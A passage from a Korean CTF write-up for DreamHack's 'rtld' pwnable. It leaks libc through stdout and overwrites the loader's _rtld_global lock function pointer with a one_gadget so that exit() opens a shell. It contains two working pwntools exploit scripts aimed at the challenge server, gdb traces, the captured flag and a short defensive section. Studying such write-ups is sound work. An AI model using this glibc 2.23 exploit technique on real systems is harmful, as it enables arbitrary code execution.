  • ์›๊ฒฉ(4.19 ํŽ˜์ด์ง€ ์ •๋ ฌ ์ปค๋„): ld_off = 0x3ca000

์ž˜๋ชป๋œ ์˜คํ”„์…‹์„ ์จ๋„ ์‹ค์ œ ๋ฝ ํฌ์ธํ„ฐ(_rtld_global+0xf08)๋Š” ๊ฑด๋“œ๋ฆฌ์ง€ ์•Š์œผ๋‹ˆ ํ”„๋กœ๊ทธ๋žจ์€ ๊ทธ๋ƒฅ ์กฐ์šฉํžˆ ์ •์ƒ ์ข…๋ฃŒํ•œ๋‹ค(ํฌ๋ž˜์‹œ ์—†์Œ). ๋•๋ถ„์— ํ›„๋ณด ์˜คํ”„์…‹์„ ์•ˆ์ „ํ•˜๊ฒŒ ์‹œ๋„ํ•ด๋ณผ ์ˆ˜ ์žˆ์—ˆ๊ณ , ๊ณ„์‚ฐ๊ฐ’ 0x3ca000 ์ด ์ •ํ™•ํžˆ ๋“ค์–ด๋งž์•˜๋‹ค.

one_gadget ๊ณ ๋ฅด๊ธฐ

์ œ๊ณต๋œ libc ์˜ one_gadget ํ›„๋ณด๋Š” ์„ธ ๊ฐœ๋‹ค.

one_gadget libc-2.23.so ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” execve("/bin/sh") ๋กœ ์ด์–ด์ง€๋Š” ์„ธ ํ›„๋ณด(0x4527a, 0xf03a4, 0xf1247)์™€ ๊ฐ๊ฐ์˜ rsp ์˜คํ”„์…‹ NULL ์ œ์•ฝ ์กฐ๊ฑด
one_gadget libc-2.23.so ์‹คํ–‰ ๊ฒฐ๊ณผ โ€” execve("/bin/sh") ๋กœ ์ด์–ด์ง€๋Š” ์„ธ ํ›„๋ณด(0x4527a, 0xf03a4, 0xf1247)์™€ ๊ฐ๊ฐ์˜ rsp ์˜คํ”„์…‹ NULL ์ œ์•ฝ ์กฐ๊ฑด

_dl_fini ์˜ ๋ฝ ํ˜ธ์ถœ ์‹œ์ ์˜ ์Šคํƒ ์ƒํƒœ์— ๋”ฐ๋ผ ์–ด๋–ค ๊ฒŒ์ดํŠธ๊ฐ€ ์—ด๋ฆด์ง€ ๊ฐˆ๋ฆฐ๋‹ค. ๋กœ์ปฌ์—์„  0x4527aยท0xf1247 ๋‘˜ ๋‹ค ํ†ตํ–ˆ์ง€๋งŒ, ์›๊ฒฉ์—์„  [rsp+0x70] == NULL ์ œ์•ฝ์„ ๋งŒ์กฑํ•˜๋Š” 0xf1247 ์ด ์‹ค์ œ๋กœ ์…ธ์„ ๋„์› ๋‹ค.

gdb ๋กœ ์›๋ฆฌ ์‹ค์ธก

๋ง๋กœ๋งŒ ํ•˜๋ฉด ์ง€์–ด๋‚ธ ๊ฒƒ์ฒ˜๋Ÿผ ๋ณด์ด๋‹ˆ, ๋กœ์ปฌ์—์„œ gdb ๋กœ ํ•œ ์Šคํ…์”ฉ ํ™•์ธํ–ˆ๋‹ค. write ๋ช…๋ น(*(long*)addr = value) ์ง์ „์— ๋ฉˆ์ถฐ rdx(์ฃผ์†Œ)ยทrax(๊ฐ’)๋ฅผ _rtld_global+0xf08 โ†” one_gadget ์œผ๋กœ ์ฃผ์ž…ํ•˜๊ณ , ๊ทธ ์ž๋ฆฌ์˜ ๊ฐ’์ด ์‹ค์ œ๋กœ ๋ฐ”๋€Œ๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ์ข…๋ฃŒ ์‹œ $rip ์ด ์ •๋ง ๊ทธ one_gadget ์œผ๋กœ ํŠ€๋Š”์ง€ ๋ดค๋‹ค.

gdb ๋Ÿฐํƒ€์ž„ ์‹ค์ธก โ€” write ์ง์ „ target(_rtld_global+0xf08) ์—๋Š” ์›๋ž˜ ld ๋‚ด๋ถ€ ๋ฝ ํ•จ์ˆ˜(ld+0xc90)๊ฐ€ ๋“ค์–ด์žˆ๋‹ค๊ฐ€, ์“ฐ๊ธฐ ํ›„ one_gadget ์ฃผ์†Œ๋กœ ๋ฐ”๋€Œ๊ณ , return 0 โ†’ exit โ†’ _dl_fini ์‹คํ–‰ ๋’ค $rip ์ด ์ •ํ™•ํžˆ ๊ทธ one_gadget ๊ณผ ์ผ์น˜ํ•ด execve ๋กœ ์ง„์ž…ํ•จ์„ ๋ณด์—ฌ์ค€๋‹ค
gdb ๋Ÿฐํƒ€์ž„ ์‹ค์ธก โ€” write ์ง์ „ target(_rtld_global+0xf08) ์—๋Š” ์›๋ž˜ ld ๋‚ด๋ถ€ ๋ฝ ํ•จ์ˆ˜(ld+0xc90)๊ฐ€ ๋“ค์–ด์žˆ๋‹ค๊ฐ€, ์“ฐ๊ธฐ ํ›„ one_gadget ์ฃผ์†Œ๋กœ ๋ฐ”๋€Œ๊ณ , return 0 โ†’ exit โ†’ _dl_fini ์‹คํ–‰ ๋’ค $rip ์ด ์ •ํ™•ํžˆ ๊ทธ one_gadget ๊ณผ ์ผ์น˜ํ•ด execve ๋กœ ์ง„์ž…ํ•จ์„ ๋ณด์—ฌ์ค€๋‹ค

ํ™”๋ฉด ์ค‘๊ฐ„์˜ SIGSEGV ๋Š” ์‹คํŒจ๊ฐ€ ์•„๋‹ˆ๋ผ ์ผ๋ถ€๋Ÿฌ ๋‚ธ ๊ฒƒ์ด๋‹ค. ํ”„๋กœ๊ทธ๋žจ์˜ addr: value: ์— 1, 1 ์„ ๋จน์—ฌ ์ฃผ์†Œ 1 ์— ์“ฐ๊ฒŒ ๋งŒ๋“ค๋ฉด ๊ฑฐ๊ธฐ์„œ ์ฃฝ๋Š”๋ฐ, ๊ทธ ๋•์— ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์ „๋ถ€ ๋งคํ•‘๋œ ์ƒํƒœ๋กœ ํ”„๋กœ์„ธ์Šค๊ฐ€ ๋ฉˆ์ถ˜๋‹ค. ๊ทธ ์‹œ์ ์— info proc mappings ๋กœ ์ง„์งœ libcยทld ๋ฒ ์ด์Šค๋ฅผ ์ฝ๊ณ , ์‹ค์ œ ๋ฎ์–ด์“ฐ๊ธฐ๋Š” gdb ๊ฐ€ set *(long*)TARGET = VALUE ๋กœ ๋Œ€์‹  ํ•œ๋‹ค. ์˜คํ”„์…‹์„ ๊ด€๋ก€๋กœ ๊ฐ€์ •ํ•˜์ง€ ์•Š๊ณ  ์‹ค์ธกํ•˜๋ ค๋Š” ๊ฒƒ์ด๋‹ค.

  • before: *(TARGET) = ld+0xc90 โ€” ์›๋ž˜๋Š” ๋กœ๋” ๋‚ด๋ถ€์˜ ์ง„์งœ ๋ฝ ํ•จ์ˆ˜๊ฐ€ ๋“ค์–ด์žˆ๋‹ค.
  • after : *(TARGET) = one_gadget โ€” ํ•œ ๋ฒˆ์˜ ์“ฐ๊ธฐ๋กœ ๊ฐˆ์•„๋ผ์› ๋‹ค.
  • exit ํ›„ $rip == one_gadget โ€” ์ข…๋ฃŒ ๊ฒฝ๋กœ๊ฐ€ ์ •ํ™•ํžˆ ์šฐ๋ฆฌ๊ฐ€ ์‹ฌ์€ ์ฃผ์†Œ๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค.

์›๋ž˜ ๊ฐ’์ด ld+0xc90 ์ธ ๊ฒƒ๋„ ์•ž์˜ objdump ์™€ ๋งž์•„๋–จ์–ด์ง„๋‹ค(๋กœ๋”๋Š” ์‹œ์ž‘ ์‹œ _rtld_global+0xf08 ์— ์ž๊ธฐ ๋‚ด๋ถ€ ํ•จ์ˆ˜ ld+0xc90 ์„ ๋„ฃ์–ด๋‘”๋‹ค). ์šฐ๋ฆฌ๋Š” ๊ทธ๊ฑธ one_gadget ์œผ๋กœ ๋ฐ”๊ฟ”์น˜๊ธฐํ–ˆ์„ ๋ฟ์ด๋‹ค.

์ต์Šคํ”Œ๋กœ์ž‡

๋กœ์ปฌ์—์„œ ๋จผ์ € ์…ธ์„ ํ™•์ธํ•˜๊ณ , ์˜คํ”„์…‹๋งŒ ์›๊ฒฉ์šฉ์œผ๋กœ ๋ฐ”๊ฟ” ๊ทธ๋Œ€๋กœ ์ˆ๋‹ค.

ํ™”๋ฉด์— ์“ด ๋ฐ๋ชจ ์Šคํฌ๋ฆฝํŠธ๋Š” exp_demo.py ํ•˜๋‚˜๋กœ ๋กœ์ปฌ/์›๊ฒฉ์„ ๊ฒธํ•œ๋‹ค.

#!/usr/bin/env python3
# ๋กœ์ปฌ/์›๊ฒฉ ๊ณตํ†ต ๋ฐ๋ชจ: ์†Œ์Šค๋Š” solve.py, ์—ฌ๊ธฐ์„  ํ™”๋ฉด์šฉ์œผ๋กœ ํ๋ฆ„๋งŒ ์ถœ๋ ฅ
import sys, time
from pwn import remote, process, context
context.log_level='error'
STDOUT_OFF=0x3c5620; RTLD_GLOBAL=0x226040; LOCK_OFF=0xf08
if sys.argv[1]=='remote':
    io=remote('host3.dreamhack.games',10085,timeout=10); LD_OFF=0x3ca000; OG=0xf1247
    where='์›๊ฒฉ(host3.dreamhack.games:10085)'
else:
    io=process(['./rtld_patched']); LD_OFF=0x400000; OG=0xf1247
    where='๋กœ์ปฌ(rtld_patched)'
io.recvuntil(b'stdout: '); leak=int(io.recvline().strip(),16)
libc=leak-STDOUT_OFF; target=libc+LD_OFF+RTLD_GLOBAL+LOCK_OFF; value=libc+OG
print(f'[{where}]')
print(f'  stdout leak         = {hex(leak)}')
print(f'  libc_base           = {hex(libc)}')
print(f'  ld_base             = {hex(libc+LD_OFF)}   (libc + {hex(LD_OFF)})')
print(f'  write {hex(value)}')
print(f'     -> _rtld_global._dl_rtld_lock_recursive @ {hex(target)}')
io.recvuntil(b'addr: '); io.sendline(str(target).encode())
io.recvuntil(b'value: '); io.sendline(str(value).encode())
time.sleep(0.5)
io.sendline(b'echo ---shell---; id; uname -a')
if sys.argv[1]=='remote':
    io.sendline(b'cat /home/rtld/flag')
time.sleep(0.8)
try:
    out=io.recv(timeout=2).decode(errors='replace')
    print('  '+ '\n  '.join(l for l in out.splitlines() if l.strip()))
except Exception as e:
    print('  (no output)', e)
io.close()

cap_local.sh ๋Š” ๊ทธ๊ฑธ ๋กœ์ปฌ ๋ชจ๋“œ๋กœ ๋Œ๋ฆฌ๋Š” ๋ž˜ํผ๋‹ค.

์ด ๊ธ€์˜ ๋ช…๋ น์€ ๋ชจ๋‘ solve/ ์—์„œ ์‹คํ–‰ํ•œ๋‹ค.

echo '# ๋กœ์ปฌ ์žฌํ˜„: patchelf ๋กœ ์ œ๊ณต ld/libc ๋ฅผ ๋ฌผ๋ฆฐ rtld_patched ๋Œ€์ƒ'
echo
TERM=dumb python3 exp_demo.py local 2>&1 | grep -vE 'terminfo|_curses'
bash cap_local.sh

๋กœ์ปฌ ์žฌํ˜„ โ€” patchelf ๋กœ ์ œ๊ณต ld/libc ๋ฅผ ๋ฌผ๋ฆฐ rtld_patched ๋ฅผ ๋Œ€์ƒ์œผ๋กœ stdout ๋ฆฌํฌ์—์„œ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•ด ํ•œ ๋ฒˆ์˜ ์“ฐ๊ธฐ๋ฅผ ๋„ฃ์ž uid=jinho ์…ธ์ด ๋–จ์–ด์ง„๋‹ค
๋กœ์ปฌ ์žฌํ˜„ โ€” patchelf ๋กœ ์ œ๊ณต ld/libc ๋ฅผ ๋ฌผ๋ฆฐ rtld_patched ๋ฅผ ๋Œ€์ƒ์œผ๋กœ stdout ๋ฆฌํฌ์—์„œ ์ฃผ์†Œ๋ฅผ ๊ณ„์‚ฐํ•ด ํ•œ ๋ฒˆ์˜ ์“ฐ๊ธฐ๋ฅผ ๋„ฃ์ž uid=jinho ์…ธ์ด ๋–จ์–ด์ง„๋‹ค

์›๊ฒฉ์€ ld_off ๋ฅผ 0x3ca000, one_gadget ์„ 0xf1247 ๋กœ ๋ฐ”๊พผ ๊ฒŒ ์ „๋ถ€๋‹ค.

cap_remote.sh ๋Š” ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์›๊ฒฉ ๋ชจ๋“œ๋กœ ๋ถ€๋ฅธ๋‹ค.

echo '# ์›๊ฒฉ ์‹ค์„œ๋ฒ„ ์ต์Šค: ํŽ˜์ด์ง€ ์ •๋ ฌ ์ปค๋„(4.19) ์ด๋ผ ld_off = 0x3ca000'
echo
TERM=dumb python3 exp_demo.py remote 2>&1 | grep -vE 'terminfo|_curses'
bash cap_remote.sh

์›๊ฒฉ ์‹ค์„œ๋ฒ„ ์ต์Šค โ€” host3.dreamhack.games ์— ์ ‘์†ํ•ด ํŽ˜์ด์ง€ ์ •๋ ฌ ์ปค๋„(4.19)์— ๋งž์ถ˜ ld_off=0x3ca000 ์œผ๋กœ ์“ฐ๊ธฐ๋ฅผ ๋„ฃ์ž uid=rtld ์…ธ์ด ์—ด๋ฆฌ๊ณ  flag ๋ฅผ ์ฝ์–ด๋ƒˆ๋‹ค
์›๊ฒฉ ์‹ค์„œ๋ฒ„ ์ต์Šค โ€” host3.dreamhack.games ์— ์ ‘์†ํ•ด ํŽ˜์ด์ง€ ์ •๋ ฌ ์ปค๋„(4.19)์— ๋งž์ถ˜ ld_off=0x3ca000 ์œผ๋กœ ์“ฐ๊ธฐ๋ฅผ ๋„ฃ์ž uid=rtld ์…ธ์ด ์—ด๋ฆฌ๊ณ  flag ๋ฅผ ์ฝ์–ด๋ƒˆ๋‹ค

uid=1000(rtld) ๋กœ ์…ธ์„ ์–ป๊ณ  /home/rtld/flag ๋ฅผ ์ฝ์—ˆ๋‹ค.

DH{e8992639751efccc8aed4a007c3b50542f352cb7b564418c1db1edbc5a87c4f0}

์ž์ฒด ์™„๊ฒฐ solve.py

#!/usr/bin/env python3
from pwn import remote, process, context
context.log_level = 'info'
 
STDOUT_OFF  = 0x3c5620      # _IO_2_1_stdout_ ์˜คํ”„์…‹
RTLD_GLOBAL = 0x226040      # ld.so ๋‚ด _rtld_global
LOCK_OFF    = 0xf08         # _rtld_global._dl_rtld_lock_recursive
 
def pwn(io, ld_off, one_gadget):
    io.recvuntil(b'stdout: ')
    leak = int(io.recvline().strip(), 16)
    libc = leak - STDOUT_OFF
    target = libc + ld_off + RTLD_GLOBAL + LOCK_OFF
    value  = libc + one_gadget
    print(f"[*] libc base   : {hex(libc)}")
    print(f"[*] ld base     : {hex(libc + ld_off)}")
    print(f"[*] write {hex(value)} -> _rtld_global+0xf08 @ {hex(target)}")
    io.recvuntil(b'addr: ');  io.sendline(str(target).encode())
    io.recvuntil(b'value: '); io.sendline(str(value).encode())
 
import sys
if len(sys.argv) > 1 and sys.argv[1] == 'remote':
    io = remote('host3.dreamhack.games', 10085)
    pwn(io, ld_off=0x3ca000, one_gadget=0xf1247)   # ํŽ˜์ด์ง€ ์ •๋ ฌ ์›๊ฒฉ (4.19)
else:
    io = process(['./rtld_patched'])
    pwn(io, ld_off=0x400000, one_gadget=0xf1247)   # THP 2MB ์ •๋ ฌ ๋กœ์ปฌ
io.sendline(b'cat /home/rtld/flag; id')
io.interactive()

๋ฆฌํฌ๋œ ์ปค๋„ ์ •๋ ฌ ๋ฐฉ์‹์„ ๋ชจ๋ฅธ๋‹ค๋ฉด, ld_off ํ›„๋ณด ๋ช‡ ๊ฐœ(0x3ca000 ์šฐ์„ , ์ฃผ๋ณ€ ํŽ˜์ด์ง€, ๋กœ์ปฌ๊ฐ’ 0x400000)๋ฅผ ์ˆœํšŒํ•˜๋ฉฐ ์“ฐ๋Š” ๊ฒƒ๋„ ์•ˆ์ „ํ•˜๋‹ค. ํ‹€๋ฆฐ ์˜คํ”„์…‹์€ ์‹ค์ œ ํฌ์ธํ„ฐ๋ฅผ ์•ˆ ๊ฑด๋“œ๋ ค ๊ทธ๋ƒฅ ์ •์ƒ ์ข…๋ฃŒํ•  ๋ฟ์ด๋ผ, ์ƒˆ ์—ฐ๊ฒฐ๋กœ ๋‹ค์Œ ํ›„๋ณด๋ฅผ ์‹œ๋„ํ•˜๋ฉด ๋œ๋‹ค.

๋ฐฉ์–ด ๊ด€์ ์—์„œ

์ด ๋ฌธ์ œ์˜ ์ต์Šค๋Š” ์‚ฌ์‹ค ์˜ค๋ž˜๋œ glibc(2.23)์˜ ์„ฑ์งˆ์— ๊ธฐ๋Œ„๋‹ค.

  • _rtld_global ์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ๊ฐ€ ๋งน๊ธ€๋˜์ง€ ์•Š์Œ โ€” ์ข…๋ฃŒยท์–ธ๋กœ๋“œ ๊ฒฝ๋กœ์—์„œ ํ˜ธ์ถœ๋˜๋Š” ๋กœ๋” ์ฝœ๋ฐฑ๋“ค์ด raw ํฌ์ธํ„ฐ๋ผ ์ž„์˜ ์“ฐ๊ธฐ ํ•œ ๋ฒˆ์— ๋…ธ์ถœ๋œ๋‹ค. ์ตœ์‹  glibc ๋Š” ์ด ํ‘œ๋ฉด์„ ์กฐ๊ธˆ์”ฉ ์ค„์˜€์ง€๋งŒ, ๊ทผ๋ณธ์ ์œผ๋กœ ๋กœ๋”์˜ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ์ „์—ญ ์ƒํƒœ๋Š” ์—ฌ์ „ํžˆ ๋งค๋ ฅ์ ์ธ ํ‘œ์ ์ด๋‹ค.
  • ๋กœ๋”์™€ libc ์˜ ์ธ์ ‘ ๋งคํ•‘์ด ๊ฒฐ์ •์  โ€” libc ๋ฆฌํฌ ํ•˜๋‚˜๋กœ ld base ๊ฐ€ ์œ ๋„๋œ๋‹ค. Full RELROยท์ถ”๊ฐ€ ๋žœ๋คํ™”๊ฐ€ ์—†์œผ๋ฉด "libc ๋งŒ ์•Œ๋ฉด ๋กœ๋”๋„ ์•ˆ๋‹ค" ๊ฐ€ ์„ฑ๋ฆฝํ•œ๋‹ค.
  • ์• ์ดˆ์— ์ž„์˜ ์ฃผ์†Œ ์“ฐ๊ธฐ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ ์ž์ฒด ๊ฐ€ ๋ฌธ์ œ์˜ ๊ทผ์›์ด๋‹ค. scanf("%ld", &addr) ๋กœ ๋ฐ›์€ ๊ฐ’์„ ๊ฒ€์ฆ ์—†์ด *(long*)addr ์— ๊ทธ๋Œ€๋กœ ์“ฐ๋Š” ์ฝ”๋“œ๋Š”, ๋ฆฌํฌ ํ•˜๋‚˜๋งŒ ๊ณ๋“ค์ด๋ฉด ์ด๋ ‡๊ฒŒ ํ†ต์งธ๋กœ ๋šซ๋ฆฐ๋‹ค. ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ํฌ์ธํ„ฐ๋กœ ์‹ ๋ขฐํ•˜์ง€ ์•Š๋Š” ๊ฒƒ โ€” ๊ฒฐ๊ตญ ๊ทธ๊ฒŒ ์ „๋ถ€๋‹ค.

์ž‘์€ ๋ฌธ์ œ์˜€์ง€๋งŒ, "์ข…๋ฃŒ๋ผ๋Š” ์ง€๊ทนํžˆ ํ‰๋ฒ”ํ•œ ์ด๋ฒคํŠธ ํ•˜๋‚˜๋„ ๊ณต๊ฒฉ ํ‘œ๋ฉด"์ด๋ผ๋Š” ๊ฑธ ๋‹ค์‹œ ํ™•์ธํ–ˆ๋‹ค. exit() ๋’ค์—์„œ ๋กœ๋”๊ฐ€ ์กฐ์šฉํžˆ ๋ถ€๋ฅด๋Š” ํ•จ์ˆ˜ ํฌ์ธํ„ฐ ํ•˜๋‚˜๊ฐ€, ๋”ฑ ํ•œ ๋ฒˆ์˜ ์“ฐ๊ธฐ๋ฅผ ์…ธ๋กœ ๋ฐ”๊ฟ”์ฃผ์—ˆ๋‹ค.

์ด ๊ธ€์ด ๋„์›€์ด ๋๋‚˜์š”?

Comments

๋Œ“๊ธ€

0๊ฐœ

๋Œ“๊ธ€์„ ๋‚จ๊ธฐ๋ ค๋ฉด ๋กœ๊ทธ์ธ์ด ํ•„์š”ํ•ด์š”. (๋„ค์ด๋ฒ„ ยท ๊ตฌ๊ธ€ ๊ณ„์ •)

๋Œ“๊ธ€ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘โ€ฆ

Related

๊ด€๋ จ ๊ธ€

3๊ฐœ
[๐Ÿฅˆ Silver 3] age๊ฐ€ fptr๋กœ ๋ถ€ํ™œํ•œ๋‹ค โ€” DreamHack uaf_overwrite ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] age๊ฐ€ fptr๋กœ ๋ถ€ํ™œํ•œ๋‹ค โ€” DreamHack uaf_overwrite ํ’€์ด

Human ๊ตฌ์กฐ์ฒด์™€ Robot ๊ตฌ์กฐ์ฒด๊ฐ€ ์šฐ์—ฐํžˆ ํฌ๊ธฐ๊ฐ€ ๊ฐ™์•„ ๊ฐ™์€ tcache(0x30) bin์„ ๊ณต์œ ํ•œ๋‹ค. glibc 2.27์˜ tcache๋Š” free() ์‹œ ์ฒญํฌ ๋งจ ์•ž(next ํฌ์ธํ„ฐ)๋งŒ ๋ฎ์–ด์“ฐ๊ณ  ๋‚˜๋จธ์ง€๋Š” ๊ทธ๋Œ€๋กœ ๋‘๊ธฐ ๋•Œ๋ฌธ์—, ์ž์œ ๋กœ์›Œ์ง„ Human์˜ age ํ•„๋“œ๊ฐ€ ์žฌํ• ๋‹น๋œ Robot์˜ ํ•จ์ˆ˜ ํฌ์ธํ„ฐ(fptr) ์ž๋ฆฌ์— ๊ทธ๋Œ€๋กœ ๋˜์‚ด์•„๋‚œ๋‹ค. ์ผ๋ฐ˜ one_gadget์€ ์Šคํƒ ์ •๋ ฌ ๋ฌธ์ œ๋กœ ์ „๋ถ€ ์‹คํŒจํ•ด์„œ, execve ์‹œ์Šคํ…œ์ฝœ ํด๋Ÿฌ์Šคํ„ฐ์˜ ์ง„์ž…์ ์„ ์ง์ ‘ ์ฐพ์•„ ์šฐํšŒํ–ˆ๋‹ค. gdb๋กœ age๊ฐ€ fptr๋กœ ๋ถ€ํ™œํ•˜๋Š” ์ˆœ๊ฐ„์„ ๋Ÿฐํƒ€์ž„์—์„œ ์ง์ ‘ ํ™•์ธํ•˜๊ณ , unsorted bin ์œ ์ถœ๋„ /proc์˜ ์‹ค์ œ libc ๋ฒ ์ด์Šค์™€ ๋Œ€์กฐํ•ด ๊ฒ€์ฆํ–ˆ๋‹ค.
#dreamhack#ctf#pwnable+5
2026-07-08#dreamhack +3
[๐Ÿฅ‰ Bronze 3] ๋ฐ˜ํ™˜ ์ฃผ์†Œ ๋Œ€์‹  "์—ด ํŒŒ์ผ ์ด๋ฆ„"์„ ๋ฎ๋Š”๋‹ค โ€” DreamHack bof ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 3] ๋ฐ˜ํ™˜ ์ฃผ์†Œ ๋Œ€์‹  "์—ด ํŒŒ์ผ ์ด๋ฆ„"์„ ๋ฎ๋Š”๋‹ค โ€” DreamHack bof ํ’€์ด

scanf("%144s") ๋กœ ์Šคํƒ ๋ฒ„ํผ๋ฅผ ๋„˜์น˜๋Š” ์ „ํ˜•์ ์ธ ์˜ค๋ฒ„ํ”Œ๋กœ ๋ฌธ์ œ. ๊ทธ๋Ÿฐ๋ฐ ๋ฎ์„ ๊ฒƒ์€ ๋ฐ˜ํ™˜ ์ฃผ์†Œ๊ฐ€ ์•„๋‹ˆ๋‹ค. ๋ฒ„ํผ ๋ฐ”๋กœ ์•„๋ž˜์— read_cat() ์ด open() ํ•  ํŒŒ์ผ๋ช… "./cat" ์ด ๋†“์—ฌ ์žˆ์–ด์„œ, ๊ทธ ์ž๋ฆฌ๋ฅผ "flag" ๋กœ ๋ฎ์œผ๋ฉด ํ”„๋กœ๊ทธ๋žจ์ด ์•Œ์•„์„œ flag ํŒŒ์ผ์„ ์—ด์–ด ์ถœ๋ ฅํ•œ๋‹ค. ๋ฒ„ํผ์™€ ํŒŒ์ผ๋ช… ์‚ฌ์ด ๊ฑฐ๋ฆฌ 0x80 ๋งŒ ๋งž์ถ”๋ฉด ๋.
#dreamhack#ctf#pwn+5
2026-07-07#dreamhack +2
[๐Ÿฅ‰ Bronze 4] ํ”„๋กœ๊ทธ๋žจ์ด ์ง์ ‘ ์•Œ๋ ค์ฃผ๋Š” win() ์ฃผ์†Œ โ€” DreamHack baby-bof ํ’€์ด
blog

[๐Ÿฅ‰ Bronze 4] ํ”„๋กœ๊ทธ๋žจ์ด ์ง์ ‘ ์•Œ๋ ค์ฃผ๋Š” win() ์ฃผ์†Œ โ€” DreamHack baby-bof ํ’€์ด

printf๊ฐ€ ์นœ์ ˆํ•˜๊ฒŒ win()์˜ ์ฃผ์†Œ๋ฅผ ๊ทธ๋Œ€๋กœ ์ถœ๋ ฅํ•ด์ฃผ๊ณ , ๋’ค์ด์€ "๊ฐ’์„ ๋ช‡ ๋ฒˆ ์“ธ์ง€" ์ž…๋ ฅ์€ ์Šคํƒ ๋ฒ„ํผ ํฌ๊ธฐ์™€ ์•„๋ฌด ๊ด€๊ณ„ ์—†์ด ๊ทธ ํšŸ์ˆ˜๋งŒํผ 8๋ฐ”์ดํŠธ์”ฉ ์ด์–ด ์“ด๋‹ค. ๋ฆฌํฌ๋œ ์ฃผ์†Œ๋ฅผ ๊ทธ ๊ฐ’์œผ๋กœ, ์“ฐ๊ธฐ ํšŸ์ˆ˜๋ฅผ 4๋กœ ์ฃผ๋ฉด ๋ฆฌํ„ด ์ฃผ์†Œ๊ฐ€ win()์œผ๋กœ ๋ฐ”๋€๋‹ค.
#dreamhack#ctf#pwnable+4
2026-07-05#dreamhack +2